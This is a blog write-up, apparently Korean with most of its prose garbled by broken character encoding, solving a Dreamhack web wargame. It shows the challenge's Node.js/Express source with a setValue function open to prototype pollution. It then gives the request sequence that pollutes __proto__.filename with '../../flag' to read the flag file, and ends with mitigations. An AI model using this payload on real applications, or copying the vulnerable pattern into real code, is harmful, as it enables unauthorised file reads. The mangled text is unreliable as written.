๐๏ธ Access
ํ์ผ์ ๊ด๋ฆฌํ ์ ์๋ ๊ตฌํ์ด ๋ ๋ ํํ์ด์ง์ ๋๋ค.
๐พ Exploit Algorithm & Payload
> app.js
const express=require('express');
const bodyParser=require('body-parser');
const ejs=require('ejs');
const hash=require('crypto-js/sha256');
const fs = require('fs');
const app=express();
var file={};
var read={};
function isObject(obj) {
return obj !== null && typeof obj === 'object';
}
function setValue(obj, key, value) {
const keylist = key.split('.');
const e = keylist.shift();
if (keylist.length > 0) {
if (!isObject(obj[e])) obj[e] = {};
setValue(obj[e], keylist.join('.'), value);
} else {
obj[key] = value;
return obj;
}
}
app.use(bodyParser.urlencoded({ extended: false }));
app.set('view engine','ejs');
app.get('/',function(req,resp){
read['filename']='fake';
resp.render(__dirname+"/ejs/index.ejs");
})
app.post('/mkfile',function(req,resp){
let {filename,content}=req.body;
filename=hash(filename).toString();
fs.writeFile(__dirname+"/storage/"+filename,content,function(err){
if(err==null){
file[filename]=filename;
resp.send('your file name is '+filename);
}else{
resp.write("<script>alert('error')</script>");
resp.write("<script>window.location='/'</script>");
}
})
})
app.get('/readfile',function(req,resp){
let filename=file[req.query.filename];
if(filename==null){
fs.readFile(__dirname+'/storage/'+read['filename'],'UTF-8',function(err,data){
resp.send(data);
})
}else{
read[filename]=filename.replaceAll('.','');
fs.readFile(__dirname+'/storage/'+read[filename],'UTF-8',function(err,data){
if(err==null){
resp.send(data);
}else{
resp.send('file is not existed');
}
})
}
})
app.get('/test',function(req,resp){
let {func,filename,rename}=req.query;
if(func==null){
resp.send("this page hasn't been made yet");
}else if(func=='rename'){
setValue(file,filename,rename)
resp.send('rename');
}else if(func=='reset'){
read={};
resp.send("file reset");
}
})
app.listen(8000);
> dokerfile
FROM node
RUN mkdir -p /app
RUN echo 'BISC{fake flag}' > /flag
WORKDIR /app
COPY ./ /app
RUN npm install
EXPOSE 8000
CMD ["npm","start"]
#1
: '/' ํ์ด์ง์์ ํ์ผ ์ด๋ฆ๊ณผ ๋ด์ฉ์ ์ ๋ ฅํ๊ณ ๋ณด๋ผ ์ ์๋ ๊ณณ์ ํ์ธํ ์ ์๋ค.
app.get('/test',function(req,resp){
let {func,filename,rename}=req.query;
if(func==null){
resp.send("this page hasn't been made yet");
} else if(func=='rename'){
setValue(file,filename,rename)
resp.send('rename');
} else if(func=='reset'){
read={};
resp.send("file reset");
}})
: '/test' ๊ฒฝ๋ก์ func, filename, rename์ด๋ผ๋ ํ๋ผ๋ฏธํฐ๋ช ์ด ์์์ ํ์ธํ ์ ์๋ค.
: '/test?func=rename' ๊ณผ '/test?func=reset'์ ๋ฐ๋ผ ๋ค๋ฅธ ๋ฐ์์ ํ๋ค.
: '/test?func=rename&filename=[ํด๋น ํ์ผ๋ช ]&rename=[๋ณ๊ฒฝ๋ ํ์ผ๋ช ]' ์ ํ๋ผ๋ฏธํฐ๊ฐ์ ์ด์ฉํ๋ฉด ํด๋น ํ์ผ์ ์ด๋ฆ์ ๋ณ๊ฒฝ๋ ํ์ผ์ ์ด๋ฆ์ผ๋ก ๋ณ๊ฒฝํ๊ฒ ๋๋ค.
: '/test?func=reset'์ ๊ฒฝ์ฐ๋ read๋ฅผ ๋ฆฌ์ ํ๊ฒ ๋๋ค.
#2
app.get('/readfile',function(req,resp){
...
read[filename]=filename.replaceAll('.','');
...
})
...
app.get('/test',function(req,resp){
....
}else if(func=='rename'){
setValue(file,filename,rename)
....
})
: ์ฝ๋๋ฅผ ์ ์ฒด์ ์ผ๋ก ์ดํผ๋ฉด filedownload ์ทจ์ฝ์ ์ ๋ฐฉ์ดํ๊ธฐ ์ํด์ replaceAll() ํจ์๊ฐ ์ฌ์ฉ๋์ด์๋ค.
: ํ์ง๋ง setValue() ํจ์์์ prototype pollution ์ทจ์ฝ์ ์ด ์กด์ฌํ๋ค.
https://blog.coderifleman.com/2019/07/19/prototype-pollution-attacks-in-nodejs/
Node.js์์์ ํ๋กํ ํ์ ์ค์ผ ๊ณต๊ฒฉ์ด๋ ๋ฌด์์ธ๊ฐ
__proto__์ ์ด์ฉํ ํ๋กํ ํ์ ์ค์ผ(prototype pollution) ๊ณต๊ฒฉ์ ์๋ฆฌ๋ฅผ ์ค๋ช ํ๋ฉด์ ๋ ธ๋ ํ๊ฒฝ์์ ์ค์ ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํ ์ฌ๋ก๋ฅผ ํจ๊ป ์๊ฐํฉ๋๋ค.
blog.coderifleman.com
# prototype pollution ์์
const obj1 = {};
setValue(obj1, "__proto__.polluted", 1);
const obj2 = {};
console.log(obj2.polluted); // 1
: ๋ค์ ์์์ ๊ฐ์ด Node.js์์ ์ฌ์ฉ ๊ฐ๋ฅํ __proto__๋ Object.prototype๊ณผ ๊ฐ๋ค๋ ๊ฒ์ ์ด์ฉํด ๋ค๋ฅธ ๊ฐ์ฒด ์์ฑ์ ์ํฅ์ ์ฃผ๋ ๋ฐฉ์์ด๋ค.
: ์ถ๊ฐ๋ก Dockerfile์ ํ์ธํ์ฌ flag ํ์ผ์ด ๋ด๋ถ ์ด๋๊ฐ์ ์กด์ฌํ๋ค๋ ๊ฒ์ ์ ์ ์๋ค.
#3
...
app.get('/readfile',function(req,resp){
let filename=file[req.query.filename];
if(filename==null){
fs.readFile(__dirname+'/storage/'+read['filename'],'UTF-8',function(err,data){
resp.send(data); })
}else{
read[filename]=filename.replaceAll('.','');
fs.readFile(__dirname+'/storage/'+read[filename],'UTF-8',function(err,data){
if(err==null){
resp.send(data);
}else{
resp.send('file is not existed');
}
})
}
})
...
GET /test?func=rename&filename=__proto__.filename&rename=../../flag
-> rename
: filename์ ํ๋ผ๋ฏธํฐ๋ฅผ ์ด์ฉํด read๋ฅผ ์ค์ผ์ํจ๋ค.
: filename๊ณผ rename ํ๋ผ๋ฏธํฐ์ ํ๋กํ ํ์ ์ค์ผ ๊ณต๊ฒฉ ํ์ด๋ก๋๋ฅผ ์์ฑํ๋ฉด ์ ๋ฌ๋๋ค.
GET /test?func=reset
: ๊ทธ๋ฆฌ๊ณ read ๊ฐ์ฒด๋ฅผ ์ด๊ธฐํ ํด์ค๋ค.
: ์ด๊ธฐํ๋ฅผ ํด์ค์ผํ๋ ์ด์ ๋ read ๊ฐ์ฒด์ 'filename'์ด๋ผ๋ ์์ฑ์ ์ฐพ๊ธฐ ๋๋ฌธ์ด๋ค.(read['filename']) ์ด๋ ํญ์ 'filename' ์์ฑ์ ์ฐพ์ง๋ง, read[filename]์ filename ๋ณ์์ ๊ฐ์ ๋ฐ๋ผ read ๊ฐ์ฒด์ ๋ค๋ฅธ ์์ฑ์ ์ฐพ์ ์ ์๋ค.
๐Analysis and results for obtaining the Flag DH{…}
GET /readfile?filename=
: ๊ทธ๋ผ ๋ค์๊ณผ ๊ฐ์ด ํด๋น ์์น์ flag๋ฅผ ํ๋ํ ์ ์๋ค.
๐Summary
Node.js์ __proto__๋ ๊ฐ์ฒด์ ํ๋กํ ํ์ ์ ์ฐธ์กฐํ๋ ์์ฑ์ด๋ค. ํ๋กํ ํ์ ๊ธฐ๋ฐ ์์์์ ์ค์ํ ์ญํ ์ ํ๋ ์ด๋ฌํ ์์ฑ์ด ์ ์์ ์ธ ์ฝ๋๋ก ์ฌ์ฉ๋ ์ ์๋ค. ์ด๋ฅผ prototype pollution์ด๋ผ ํ๋ค. ์ด๋ ์ ์์ ์ธ ์ฌ์ฉ์๊ฐ ํ๋กํ ํ์ ์ฒด์ธ์ ์กฐ์ํ์ฌ ์ดํ๋ฆฌ์ผ์ด์ ์ ๋์์ ์ํฅ์ ๋ฏธ์น๋ ๊ณต๊ฒฉ์ผ๋ก ์๋ ์๋ ์์ฑ์ ์ถ๊ฐํ๊ฑฐ๋, ๊ธฐ์กด ์์ฑ์ ๋ณ๊ฒฝ ๋ฐ ๋ฉ์๋๋ฅผ ์ค๋ฒ๋ผ์ด๋ํ ์ ์๊ฒ ๋๋ค.
-๋์๋ฐฉ์-
- ์ ๋ ฅ๊ฐ ๊ฒ์ฆ
: ์ฌ๊ธฐ์๋ ํนํ __proto__ ์ ๊ด๋ จ๋ ๋ฌธ์๋ prototype๊ณผ ๊ฐ์ ํค์๋๊ฐ ํฌํจ๋ ์ ๋ ฅ์ ์ ์ ํ ๊ฒ์ฆํด์ผ ํจ.
- Object.freeze() ํ์ฉ
: ์ด ๋ฉ์๋๋ฅผ ์ฌ์ฉํ๋ฉด ๊ฐ์ฒด๋ฅผ ๋๊ฒฐํ์ฌ ๊ทธ ์์ฑ์ ๋ณ๊ฒฝํ ์ ์๊ฒ ๋ง๋ค ์ ์๋ค.
- ์ธ๋ถ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ฌ์ฉ ์ฃผ์
...
'[Dreamhack]WebHacking > Wargame&CTF' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dreamhack] Level1:Beginner blue-whale (1) | 2024.02.07 |
---|---|
[Dreamhack] Level2: Dream Gallery (0) | 2024.02.03 |
[Dreamhack] Level1: Type c-j (2) | 2024.02.02 |
[Dreamhack] Level1: baby-union (2) | 2024.02.02 |
[Dreamhack] CTF Season 5 Round #2 - php7cmp4re (0) | 2024.01.28 |